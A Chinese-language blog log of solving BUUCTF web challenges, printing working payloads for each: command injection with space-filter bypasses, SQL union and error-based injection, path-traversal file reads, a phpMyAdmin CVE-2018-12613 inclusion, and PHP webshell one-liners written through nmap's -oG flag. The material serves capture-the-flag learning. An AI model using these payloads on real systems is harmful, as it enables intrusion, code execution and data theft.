buuctf刷题之旅
2019 安洵杯 easy_web
- 打开题目url格式:
1
http://de23405a-b1df-4e54-b8e2-605671569ecd.node3.buuoj.cn/index.php?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd=
怀疑有任意文件读取以及命令执行.img参数需要经过一次hex和两次base64.
读一下index.php:
1 | <?php |
思路基本就明确了,MD5碰撞然后命令执行.
1 | a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 |
dir之后在根目录下看到flag文件,但是过滤了大部分的读取命令,卡住了……
看了狮虎们的wp,||是匹配一个,而类似l\s这样的命令也确实可以执行,所谓payload:
1 | cmd=/bin/c\at%20/flag |
GXYCTF–PingPingPing
打开有提示,可以命令执行看一下目录下有什么:
http://99e3139e-25d4-4f85-90d3-5cd806683caf.node3.buuoj.cn/?ip=127.0.0.1|ls
可以看到有flag.php,index.php.
尝试读flag发现果然被ban了,那么试试index.php发现提示空格被ban了。
绕过空格的方法大概有以下几种:
1 | $IFS |
不妨就用 $IFS试试,无果,用${IFS}发现{}被ban。再试$IFS$1成功。
可以看到index.php
1 | /?ip= |
可以使用变量拼接,正好变量里面有个a可以覆盖:/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
或者echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
dalao做法:内联,就是将反引号内命令的输出作为输入执行。
http://530bbcaf-9d64-494e-8993-bb3727c31a5a.node3.buuoj.cn/?ip=127.0.0.1;cat$IFS$9`ls`
内联,就是将反引号内命令的输出作为输入执行。
GXYCTF2019–BabySqli
输入错误密码看源码可以看到select * from user where username = ‘$name’
那么就可以在username这个注入点下手处理了。这道题目只过滤了基本的and与等号还是很能操作的。不过后来看别人说这题考点在MD5查询绕过。这么说的原因是,就算成功注入把admin密码的MD5拿到,因为解不了的缘故等于没用。基于题目提示的wrong pass,那么大概率是直接拿输入密码的MD5数值跟数据库里已知值比较。
稍微FUZZ一下admin’ union select 1,2,3可以确认有三个字段,后面确认大概是id,admin,passwd三个字段。这里为了绕过,需要保证我们的查询结构一致,就可直接select 想要的返回值。就是我们的sql语句执行时,passsword字段中的内容要==md5(我们密码栏输入的password)
然后我们便随便找个 密码 就123吧:
明文:123
md5:202cb962ac59075b964b07152d234b70
于是我们便构造这样的payload:
username:1’ union select 1,’admin’,’202cb962ac59075b964b07152d234b70’#
password:123
[极客大挑战 2019]BabySQL
url传参,联合注入.fuzz之后发现通过正则将union,select,from这些关键函数都被替换为空,我们可以通过双写的形式进行绕过.payload:
1 | uniunionon%20selselectect%201%2C2%2Cgroup_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%20%23 |
可以看到数据库有:information_schema,test,performance_schema,mysql,geek,ctf.
1 | 查表,payload: |
表有b4bsql,geekuser.
查列名:
1 | uniunionon%20selselectect%201%2C2%2Cgroup_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_schema%3Ddatabase()%20anandd%20table_name%3D'b4bsql'%23 |
列名有’id,username,password’
爆字段
1 | uniunionon%20selselectect%201%2C2%2Cgroup_concat(passwoorrd)%20frfromom%20b4bsql%23 |
[GXYCTF2019]禁止套娃
一进来啥都没有,访问.git发现403了,上githack,可以下载到index.php,源码如下:
1 | <?php |
第一层过滤了所有的php伪协议,然后是特殊字符和linux下的一些常用命令.
卡住了,我好菜啊…看了师傅们的rce
我们重点首先访问当前目录
1 | print_r(scandir('.')); |
但是这个.我们被匹配掉了
所以只能构造函数了
1 | ?exp=print_r(scandir(current(localeconv()))); |
发现得到其中的文件,php有两个函数
array_flip,php官方文档是这么解释的
array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。
重点是下一个函数
array_rand()函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
所以我们就可以构造如下payloads
1 | highlight_file(array_rand(array_flip(scandir(current(localeconv()))))); |
[极客大挑战 2019]Secret File
这题比较简单,f12查看源代码,有一个跳转,然后抓包看一下能看到有个php文件,访问可以看到源码,正则过滤了大部分参数,直接php伪协议读flag.
[CISCN 2019 初赛]Love Math
源码如下:
1 | <?php |
无参rce,可以用bash_convert()
思路一:
1 | $pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag.php |
分析:
1 | base_convert(37907361743,10,36) => "hex2bin" |
既然不能$_GET,那就header传
思路二:
直接想办法catflag也是可以的
1 | //exec('hex2bin(dechex(109270211257898))') => exec('cat f*') |
[极客大挑战 2019]Upload
先传个一句话看看,发现过滤了<?,那就用js.
1 | <script language='php'> |
提示我们要图片格式,那就加个图片头:GIF89a.可以上传.但是这是jpg,需要上传php文件让其解析.
测试发现phtml没有被过滤.上传成功,在upload目录下.蚁剑连一下.
[BJDCTF2020]Easy MD5
随便输入个密码,数据包中找到hint:
1 | select * from 'admin' where password=md5($pass,true) |
暗示我让where后面的东西返回true
想到sql注入的一个情况,要让其变成password=’xxx’ or ‘1’的形式。
写个脚本找满足这样条件的md5明文:
1 | <?php |
得到个ffifdyop,输入后,查看跳转后页面的源码.
1 | <!-- |
这个==可以用数组或者一下两个值来绕过:QNKCDZO,240610708.
绕过后有个必须用数组绕过的php,绕过后拿到flag.
[GWCTF 2019]我有一个数据库
cve-2018-12613-PhpMyadmin后台文件包含
影响版本:4.8.0——4.8.1
1 | payload:/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag |
[GWCTF 2019]枯燥的抽奖
check.php代码如下:
1 | <?php |
如果mt_srand使用同一个seed,生成的随机数是可以爆破出seed的
https://www.openwall.com/php_mt_seed/
这道题的应用场景中,字符串生成方式是
1 | mt_srand($_SESSION['seed']); |
根据生成算法逆向出满足php_mt_seed工具要求的参数
1 | str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' |
爆破出seed值后再代回原程序就可以得到完整的字符串
[极客大挑战 2019] PHP
提示说每次都备份,访问www.zip,可以看源码.
index.php:
1 | <?php |
class.php:
1 | <?php |
1:利用CVE-2016-7124,序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过_wakeup的执行
2:加%00:username,password都是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失
virink_2019_files_share
拿到题目完全没有思路,看的pcat师傅的wp.还是大佬厉害……
这里发现服务器是用OpenResty服务器,这里pcat科普下:OpenResty是一个基于Nginx与Lua的高性能Web平台,其内部集成了大量精良的Lua库、第三方模块以及大多数的依赖项。
f12可以看到有/uploads/文件,访问后里面左边preview的格式是/preview?f=
尝试文件包含漏洞
由于是使用OpenResty,尝试包含nginx的配置文件,默认是
1 | /etc/nginx/conf.d/default.conf |
发现../被过滤,尝试下双写可以绕过
1 | /preview?f=....//....//....//....//....//....//etc..//nginx..//conf.d..//default.conf |
有preview.lua的路径,尝试读取preview.lua源码
1 | /preview?f=....//preview.lua |
有个Hint:flag in flag_Is_h3re
尝试:
1 | /preview?f=....//....//....//....//....//....//....//f1ag_Is_h3re..//flag |
[极客大挑战 2019] LoveSQL
判断列数为3
1 | ?username=1' order by 4 %23&password=1 |
查看回显
1 | ?username=1' union select 1,2,3 %23&password=1 |
查数据库
1 | ?username=1' union select 1,version(),group_concat(schema_name) from information_schema.schemata %23&password=1 |
查表
1 | ?username=1' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1 |
查字段
1 | ?username=1' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1 |
查字段内容
1 | ?username=1' union select 1,version(),group_concat(id,username,password) from l0ve1ysq1%23&password=1 |
[极客大挑战 2019]BuyFlag
f12有源码:
1 | <!-- |
1:一亿美元用科学计数法,money=9e9
2:密码要正确,必须是404,切不为数字,弱类型,password=404a
3:cuir身份,看见cookie的user值为0,猜测为1即可
ciscn2019华北赛区半决赛day1web5CyberPunk
f12有提示,应该是个文件包含,可以LFI用base64读一波文件
index.php
1 | <?php |
change.php
1 | <?php |
search.php
1 | <?php |
所有的查询的地方都对username以及phone做了十分严格的过滤,但是对addres只是做了简单的转义.考虑对address下手.
看过大佬wp后有了思路,从下面入手:
1 | $address = addslashes($_POST["address"]); |
可以看出,address会被转义,然后进行更新,也就是说单引号之类的无效了。但是,在地址被更新的同时,旧地址被存了下来。如果第一次修改地址的时候,构造一个含SQL语句特殊的payload,然后在第二次修改的时候随便更新一个正常的地址,那个之前没有触发SQL注入的payload就会被触发。
思路有了以后,接下来就是构造payload,下面将借助报错注入来构造payload。
1 | 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)# |
[BUUCTF 2018] Online Tool
进去直接有源码:
1 | <?php |
escapeshellarg()和escapeshellcmd() 没见过,百度
PHP escapeshellarg()+escapeshellcmd() 之殇
直接找到了上面这篇文章,这两个函数在一起用会有些问题
1 | 传入的参数是:172.17.0.2' -v -d a=1 |
简单的来说就是两次转译后出现了问题,没有考虑到单引号的问题
然后往下看,看到echo system(“nmap -T5 -sT -Pn –host-timeout 2 -F “.$host);
这有个system来执行命令,而且有传参,肯定是利用这里了
这里代码的本意是希望我们输入ip这样的参数做一个扫描,通过上面的两个函数来进行规则过滤转译,我们的输入会被单引号引起来,但是因为我们看到了上面的漏洞所以我们可以逃脱这个引号的束缚
这里常见的命令后注入操作如 | & &&都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转移…
这时候就只有想想能不能利用nmap来做些什么了。
这时候搜索可以发现在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件
这个命令就是我们的输入可控!然后写入到文件!OK很自然的想到了上传一个一句话木马了…
1 | ?host=' <?php @eval($_POST["hack"]);?> -oG hack.php ' |
执行后会返回文件夹名,连一下找到flag.